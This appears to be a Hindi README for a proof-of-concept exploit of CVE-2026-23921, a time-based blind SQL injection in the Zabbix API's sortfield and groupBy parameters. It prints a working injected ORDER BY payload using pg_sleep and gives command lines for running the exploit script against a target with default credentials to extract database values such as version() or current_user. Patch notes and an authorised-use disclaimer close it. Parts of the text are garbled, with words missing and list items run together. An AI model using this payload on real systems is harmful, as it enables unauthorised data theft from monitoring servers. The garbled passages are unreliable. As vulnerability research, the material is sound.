
CVE-2026-23921 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Zabbix API में sortfield पैरामीटर के माध्यम से टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन है, जो PostgreSQL और MySQL बैकएंड से डेटा निकालने में सक्षम बनाता है।
प्रभावित संस्करण: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: उच्च
प्रकार: sortfield पैरामीटर के माध्यम से समय-आधारित ब्लाइंड SQL इंजेक्शन
प्रमाणीकरण आवश्यक: हाँ (कोई भी API उपयोगकर्ता; Super Admin अनुमति जॉइन से बचता है)
विरासत Zabbix API सेवाएँ (host.get, trigger.get, item.get, आदि) zbx_array_merge() के माध्यम से एक अघोषित groupBy पैरामीटर स्वीकार करती हैं। CApiService::applyQuerySortOptions() में, groupBy सरणी को मान्य करने के लिए उपयोग की जाने वाली हार्डकोडेड व्हाइटलिस्ट को प्रतिस्थापित कर देती है। एक हमलावर और दोनों में समान SQL पेलोड पास करता है — मान्यता हमलावर-नियंत्रित सूची के विरुद्ध पास हो जाती है, और पेलोड बिना एस्केपिंग के में पहुँच जाता है।
sortfieldgroupBysortfieldORDER BYgroupBy: ["hostid,(SELECT IF(...))--"] और sortfield: "hostid,(SELECT IF(...))--" को countOutput: true के साथ भेजता हैzbx_array_merge अघोषित groupBy कुंजी को संरक्षित करता हैapplyQuerySortOptions groupBy से व्हाइटलिस्ट बनाता है → मान्यता पास हो जाती हैapplyQuerySortField पेलोड को ORDER BY में जोड़ता हैcreateSelectQueryFromParts बिना एस्केपिंग के अंतिम SQL बनाता हैSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL backend (default)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL backend
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# Existing auth token
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# Extract arbitrary expression
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# Use a different API method
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Zabbix 7.0.22 / 7.2.15 / 7.4.6 या बाद के संस्करण में अपग्रेड करें।
पैच array_merge($options['groupBy'], ...) को array_intersect($this->sortColumns, $options['groupBy']) से प्रतिस्थापित करता है ताकि हमलावर-आपूर्ति किए गए मान कभी व्हाइटलिस्ट में प्रवेश न करें। रक्षा-गहराई के रूप में अतिरिक्त is_string() और is_array() प्रकार जाँच जोड़ी गई हैं।
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है।